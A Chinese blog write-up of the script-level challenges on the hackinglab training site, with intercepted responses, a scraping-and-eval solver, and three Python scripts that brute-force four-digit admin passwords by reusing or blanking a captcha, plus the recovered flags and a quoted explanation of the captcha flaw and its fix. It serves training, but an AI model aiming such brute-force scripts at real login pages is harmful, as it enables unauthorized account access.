



hackinglab 脚本关 writeup

原创

xaphoenix  于 2017-05-28 22:27:44 发布  3023  收藏

分类专栏: [hackinglab](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/xaphoenix/article/details/72795179>

版权



[hackinglab](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

key又又找不到了

先点开通关地址

[到这里找key](#)

og.csdn.net/xaphoenix

之后点击这个链接, 拦截它的response, 可以得到key

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Sun, 28 May 2017 12:03:52 GMT
Content-Type: text/html
Via: 1529
X-Daa-Tunnel: hop_count=1
X-NWS-LOG-UUID: e7862a1c-71fe-4bf5-b8db-00b719065154
Content-Length: 94

<script>>window.location="/no_key_is_here_forever.php"; </script>
key is : yougotit_script_now|
```

<http://blog.csdn.net/xaphoenix>

快速口算

写个脚本就行了。利用正则来提取相关信息。

```

import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID='} #填入自己的cookie

contents = requests.get(url, headers = header).content.decode('utf-8')
matches = re.search("(.)=<(input)", contents)

data = {'v': str(eval(matches.group(1)))}
contents = requests.post(url, headers=header, data=data).content.decode('utf-8')

matches = re.search("<body>(.*?)</body>", contents)
print(matches.group(1))

```

这个题目是空的

因为是空，所以答案是

null

怎么就是不弹出key呢？

查看网页源代码，发现有三个return false。

所以我们把它保存到本地，删除这些函数就ok了

逗比验证码第一期

我们在第一次正确输入验证码以后，用burpsuite捕捉请求，发现不断提交，验证码是相同的，所以爆破一下就行

```

import requests
import re
url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type': 'application/x-www-form-urlencoded',
          'Content-Length': '48',
          'Referer': 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php',
          'Cookie': 'PHPSESSID=',
          'Connection': 'close',
          'Upgrade-Insecure-Requests': '1'}

for i in range(9000):
    data = {'username': 'admin', 'pwd': i + 1000, 'vcode': 'KF4R', 'submit': 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

```

密码是1238

key is LJLJL789sdf#@sd

逗比验证码第二期

先提交一次正确的vcode，之后vcode为空就可以绕过去了，爆破方法一样。

```

import requests
import re
url = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php',
          'Cookie' : 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

```

密码是1228

key is LJLJL789ss33fasvxcvsdf#@sd

逗比验证码第三期

做法一样，下面引用博主总闲 关于验证码原理的讲解

验证码发布的流程

1. 显示表单
2. 显示验证码（调用生成验证码的程序），将验证码加密后放进 session 或者 cookie
3. 用户提交表单
4. 核对验证码无误、数据合法后写入数据库完成

用户如果再发布一条，正常情况下，会再次访问表单页面，验证码图片被动更新，session 和 cookie 也就跟着变了。但是灌水机操作不一定非要使用表单页面，它可以直接模拟 post 向服务端程序发送数据，这样验证码程序没有被调用，当然 session 和 cookie 存储的加密验证码就是上次的值，也就没有更新，这样以后无限次的通过 post 直接发送的数据，而不考虑验证码，验证码形同虚设！所以，在核对验证码后先将 session 和 cookie 的值清空，然后做数据合法性判断，然后入库！这样，一个漏洞就被补上了！

```

import requests
import re
url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php',
          'Cookie' : 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

```

密码 1298

key is LJJLfuckvcodesdf#@sd



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)